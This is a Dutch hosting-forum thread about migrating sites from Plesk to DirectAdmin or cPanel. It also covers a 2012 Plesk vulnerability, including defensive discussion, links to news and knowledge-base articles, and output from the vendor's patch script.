Leuke stelling (eerst zien, dan geloven) , ik heb in het verleden meer dan genoeg ter beschikking gesteld, echter wordt er aan alle kanten gejat en geroofd. En een bedankje kan er al helemaal niet meer vanaf. Het mentaliteit verschil is ontstaan door ervaringen met verschillende partijen die ik heb waarvan verschillende er ook hier rondhangen.
Maar als ik alles dus goed interpreteer ga jij op termijn je zelf uitgevonden script dus vrijelijk ter beschikking stellen ?
Maar ik ben die andere niet! en daar heb ik ook niets mee te maken.
En als ik een dergelijk script heb inderdaad dan stel ik dat vrij ter beschikking........
En geloven doe ik in de kerk en dat ben ik al lang verleerd.
magentohosting
05/04/12, 17:52
Gezelligheid hierzo ;)
Ik heb een aantal weken geleden een simpel script voor onze migratie gemaakt.
Het hele geheel bestaat uit 2 scripts, een 'transferscript' en een 'handlingscript'.
Beide scripts stellen eigenlijk bijzonder weinig voor, maar werken wel.
Even een korte uitleg:
Transferscript
Deze draai je op de server waar Plesk staat geïnstalleerd.
Je geeft een aantal variabelen op (username, locatie, databasenaam,..)
Vervolgens wordt er een tar.gz gemaakt van de httpdocs, wordt er een sqldump gemaakt van de vooraf opgegeven.
Deze tar.gz en sqldumps worden in 1 tar.gz gegooid en vervolgens via scp overgezet naar de nieuwe server (wil je dit zonder password overzetten, moet je even met aan de slag met authorized_keys..).
Handlingscript
Dit script draai je op de server waar DirectAdmin staat geïnstalleerd.
Het wel een vereiste dat je in DA al de gebruiker hebt aangemaakt. Ook moet je van te voren de database aangemaakt hebben.
Uiteraard wordt er in het handlingscript ook gebruik gemaakt van een aantal variabelen.
Het script pakt de complete tar.gz uit -> je hebt dan weer 1 tar.gz van httpdocs en een aantal sqldumps.
De tar.gz van httpdocs wordt vervolgens uitgepakt en de inhoud hiervan wordt gekopieerd naar public_html/ van het betreffende domein.
De sqldumps worden dan geïmporteerd.
Bij interesse wil ik beide scripts wel posten hierzo.
Ik weet niet in hoeverre het voor jullie van toepasselijk is, maar voor ons is het goed genoeg.
Wij hebben niet bijzonder veel klanten die overgaan naar DirectAdmin. Hierdoor hebben wij het vrij simpel gehouden.
Het vereist nog wel enig handwerk.
Edit: de rechten van mappen / files in public_html zullen wel handmatig goed gezet moeten worden.
Mochten mensen willen migreren naar cPanel, daar zit een migratie script ingebouwd bij de transfer account function.
magentohosting
05/04/12, 19:38
Zonet een PM gekregen of dat ik de scripts wou delen.
Bij deze de scripts ;)
Vergeet niet de variabelen aan te passen.
Tevens is het zo dat dit script voor 1 klant tegelijkertijd is.. Je kan het script wel deels kopiëren (aantal variabelen wijzigen) en dan zo meerdere klanten tegelijk doen.
Ik vond het echter een fijner idee om per klant te doen; zeker omdat het er niet heel veel zijn.
10167
10168
Edit:
Ik heb beide scripts gemaakt in Notepad++.
Mocht je ze 'gewoon' in Notepad openen, kan zijn dat de opmaak e.d. zeer scheef zit.
dreamhost_nl
05/04/12, 20:02
Mochten mensen willen migreren naar cPanel, daar zit een migratie script ingebouwd bij de transfer account function.
Inderdaad. cPanel heeft z'n zaakjes dan toch wat beter voor elkaar.
Inderdaad. cPanel heeft z'n zaakjes dan toch wat beter voor elkaar.
Dat dus, plus Mike die het mi. gewoon prima aanpakt. Business, niets mis mee. Alles voor een appel en peer (of minder) weggeven: daar komt geen brood van op de plank.
Dat dus, plus Mike die het mi. gewoon prima aanpakt. Business, niets mis mee. Alles voor een appel en peer (of minder) weggeven: daar komt geen brood van op de plank.
Ach je meent het....heeft iemand het gehad om het voor een appel en een ei weg te geven! Echter de dienst uit te laten voeren door hem is een geheel ander verhaal en dat is wat hij aanbood.
En vergeet niet het was slechts een vraag of hij het migratie script beschikbaar wilde stellen en niets meer dan dat, wil je dat niet dan kun je dat als zodanig gewoon melden. Echter dan komt er een reaktie terug van hem en dan kun je het maar beter in een heel donker plekje stoppen.
Voor mij stopt het hier in iedergeval....
magentohosting
05/04/12, 22:38
Bij een bedrijf waar ik voorheen zat was het heel simpel: kosten het veel tijd om dit probleem op te lossen? (van a t/m z).
Zo ja: huur maar iemand in (extern bedrijf, freelancer, etc.) die hier ervaring mee heeft en het snel op kan lossen.
Het kost vaak meer tijd en geld (en bloed zweet en tranen) om het wiel opnieuw uit te vinden. Is gewoon doodzonde.
Er is niks mis met wat Mikey doet. Hij heeft er waarschijnlijk aardig geïnvesteerd om een compleet migratiescript.
Deze scripts zou ik ook niet zomaar even aan jan en alleman weggeven.
De 2 scripts die ik hier zojuist geplaatst hebt, stellen wat dat betreft niet zoveel voor en vereisen alsnog redelijk wat handelingen. Het is enkel een basisdingetje.
Na wat vragen in de e-mail hierbij wat duidelijkheid wat zover wel en niet 1 op 1 overgezet kan worden:
Er zijn een aantal dingen die je niet 1 op 1 over kan nemen vanuit plesk naar directadmin:
• Cronjobs (huidige cronjobs in de export log, het kan wel, voor & nadelen, afweging)
• Databases (deze worden hernoemd en uitgerust met nieuwe gebruikersnaam & wachtwoord)
• Webusers (helemaal geen export)
• Mailing lists
• Certificaat (handwerk)
De volgende onderdelen worden overgenomen:
• Httpdocs
• Httpsdocs
• Email accounts & e-mail
• Databases (welliswaar nieuwe database naam, username & wachtwoord)
• Dns settings
• Email forwarders
• Indien mail disabled is, wordt deze ook in directadmin disabled
• Statistieken (onder voorbehoud)
• Catchall (e-mail)
• Redirects (e-mail)
• aliases(e-mail)
• Account limits, daar waar mogelijk.
Er zijn drie exceptions:
Voor subdomeinen is er een exception, directadmin zet subdomeinen binnen het hoofdaccount in de public_html dir. Dat wil zeggen dat als test.domein.nl een subdomein is, dat er een directory met test in public_html is. Mocht het zijn dat deze directory al bestaat dan wordt het subdomein hernoemd. Test wordt dan test{randomNr}
De tweede is voor het ftp account. Voor directadmin geld dat het panel account tevens het main ftp account is. Bij de export wordt het ftp account gebruikt, deze wordt van ongeldige tekens voorzien en ingekort naar maximaal 8 tekens om binnen directadmin goed inzetbaar te zijn.
De derde, databases uit plesk kunnen niet standaard 1 op 1 overgenomen richting directadmin. Directadmin heeft voor database en gebruikersnaam een opgesteld formaat. $username_$database naam. Bestaande database namen worden hernoemd en ingericht binnen $username_prefix. Hetzelfde geld voor de database gebruiker. Er wordt zowel een nieuwe gebruikersnaam als wachtwoord gegeneerd. De oude database wordt geïmporteerd binnen de nieuwe.
Er blijft een kleine nazorg over:
• Paths aanpassen in de code die hardcoded zijn
• Checken op eventuele web_users, en met klant kortsluiten wat hiermee gedaan wordt. Hier kunnen nieuwe aparte ftp Users voor aangemaakt worden met paths naar eigen directories.
• Cronjobs, deze worden in de log vermeld maar niet geïmporteerd.
• Dns template op de directadmin machine, voor de import dient hier naar gekeken te worden
De export is een full functionele directadmin backup die via directadmin admin panel dan ook op de normale reguliere weg geïmporteerd kan worden. En het zijn backups per domein, niet compleet server wide. Elke geëxporteerd domein heeft een export log met daarin alle wachtwoorden, cronjobs etc etc.
Wij hebben getest om bijvoorbeeld mysql account gegevens door middel van scripts automatisch te laten wijzigen, echter door de eventuele generiek gekozen database & gebruikersnamen bestaat het risico dat er meer stuk gaat dan opgelost. Hetzelfde geld voor de paths in scripts. Dit is een afweging om gebruikers bewust te maken van andere oplossing waarbij dit soort problemen tevens in de toekomst niet meer voorkomen, en dat hun scripts niet meer afhankelijk zijn van een vaste path.
Voor wie zelf aan de slag wilt gaan, staan hierboven een hoop tips waar je zelf ook tegenaan zult lopen.
Dat is een redelijk zware bevalling als ik het zo lees Mickey, zeker niet iets waar je op zit te wachten met honderden servers als je die wilt/moet migreren.
Zal dan maar wat sarcasm brengen: op naar cpanel =)
Dat is een redelijk zware bevalling als ik het zo lees Mickey, zeker niet iets waar je op zit te wachten met honderden servers als je die wilt/moet migreren.
Zal dan maar wat sarcasm brengen: op naar cpanel =)
Het lijkt zwaarder dan het is, de meeste websites laten zich snel weer activeren door de database settings aan te passen. Je pakt in een hele korte tijd best veel websites over. Overigens zijn deze punten ook van toepassing op een migratie naar cpanel.
http://www.scmagazine.com.au/News/308324,plesk-zero-day-may-be-behind-thousands-of-hacked-sites.aspx
http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/#more-15887
Op dit moment gaan er zeer hardnekkige geruchten dat de "oude" fix niet voldoende is geweest, verwarrend is dat plesk refereerd naar dezelfde KB nummers als in Februari/Maart, maar vreemd genoeg de KB
's wel op 6 Juli weer een update heeft gegeven.
Bovenstaande posts zijn ongeveer een uur oud bij moment van schrijven, de exacte impact kan ik op het moment niet inschatten, het lijkt rustig op de servers, maar schijn kan bedriegen.
de betreffende exploit geeft aan 'windows only' te zijn.. Scheelt wellicht weer.
Uit persoonlijke ervaring betwijfel ik sterk of het windows only is.
Klopt als een bus, ik hoor uit meerdere (Plesk) bronnen dat er momenteel wederom Plesk accounts worden gehacked (java) en wellicht dat dit nog de overblijfselen zijn van het eerdere voorval.
De exploit die voor $8000 nu te koop wordt aangeboden, welke zou inhaken op de "nieuwe" vulnerability staat in de screenshot "Windows only". Echter bemerk ik zelf niet echt directe problemen op mijn servers.
Op de plesk fora (http://forum.parallels.com/showthread.php?t=260774) is een discussie gaande tussen plesk die aan de ene kant beweerd dat je toendertijd je session cache had moeten leeggooien (dit staat nu wel in de KB, de datum van de KB's is ook ineens een stuk recenter). Ik kan me niet herinneren dat er iets over sessions stond in de tijd dat dit speelde. En aan de andere kant een waslijst gebruikers die nu vertellen dat ze opnieuw vreemde code tegenkomen op de servers (zie link voor meer info).
Echt een vinger er op leggen lukt me op dit moment dus ook niet, ik poog nu zoveel mogelijk info te vergaren.
Windows only zegt me bij plesk helemaal niets meer. De vorige keer is dat namelijk ook gebleken.
er stond destijds definitely niets over het deleten van de sessions...
Wij hadden destijds problemen op plesk 9.5 servers (die waren gepatched tot de laatste microupdate, maar werden toch gehacked middels cronjobs. parallels moet nog steeds inloggen om dit te onderzoeken.. 'yes your ticket is very important to us...').
Sindsdien zitten de 8443 en andere 'management' poorten in de firewall. Het is dat overstappen nogal een exercitie gaat worden met veel servers en we qua mogelijkheden (api o.a.) nog geen gelijkwaardig panel hebben gevonden (/onderzocht), maar het vertrouwen in Parallels zit op een dieptepuntje...
dreamhost_nl
12/07/12, 13:59
@davinci: De overgang van Plesk naar cPanel verloopt redelijk zonder problemen en kan via de standaard scripts binnen WHM. Wellicht interessant om dit beter uit te zoeken via een test licentie?
Ik heb alleen als 'regular user' ervaring met cpanel en dat is vrij positief moet ik zeggen!
We hebben (helaas) een berg aan custom koppelingen via een eigen panel naar de api van plesk. (denk aan emailboxen, out of office, aanmaken van pakketten, domeinen, databases etc...) en dat is nog niet 123 omgescript
Plesk geeft nu officieel aan dat ze het ook niet weten:
http://kb.parallels.com/en/114330 en http://forum.parallels.com/showthread.php?t=260774&page=5
dreamhost_nl
13/07/12, 12:48
Ik wens iedereen met Plesk veel succes toe.
Leuk hoe Plesk op het einde van 114330 nog even IIS erbij halen en daarvoor tips geven voor Linux systemen.
Kennelijk zit Parallels ook mijn z'n handen in het haar. De enige veilige oplossing is upgraden naar Plesk 11 die volgens hun veilig is.
zie ook: http://webwereld.nl/analyse/111145/hoe-een-antiek-plesk-gat-blijft-naijlen.html
De boosdoener lijkt de filemanager te zijn.
Eindelijk een beetje inzichtelijk waar we nu dus daadwerkelijk over praten, plesk heeft zojuist een nieuwe KB patch released, effectief doet hij dit:
www1:~/plesk# /usr/local/psa/admin/bin/php plesk_remote_vulnerability_fix_deployer.php
The file "/usr/local/psa/admin/plib/api-rpc/Agent.php" has not been found. The patch is not applicable.
Copying "9.2.3/help.php" to "/usr/local/psa/admin/htdocs/help.php"
Copying "9.2.3/common_func.php3" to "/usr/local/psa/admin/plib/common_func.php3"
Copying "9.2.3/AgentSubDomain.php" to "/usr/local/psa/admin/plib/api-rpc/AgentSubDomain.php"
Restarting Plesk
The patch has been successfully applied.
www1:~/plesk#
En ja dit is een oude plesk server!
Linkjes:
http://kb.parallels.com/en/113321
http://kb.parallels.com/en/114378
Ik ben geen Plesk gebruiker, maar /admin is niet af te schermen met htaccess voor de zekerheid?
dreamhost_nl
17/07/12, 13:46
...The patch is not applicable...
(De patch is niet van toepassing) Is dat een normale output? Lijkt me enigszins vreemd...
(De patch is niet van toepassing) Is dat een normale output? Lijkt me enigszins vreemd...
Dat krijg je als je Agent.php hebt verwijderd of hernoemd om de api-rpc interface waar de lek in zat uit te zetten.
Deze mannier van patchen hadden ze gelijk al in februari uit moeten brengen.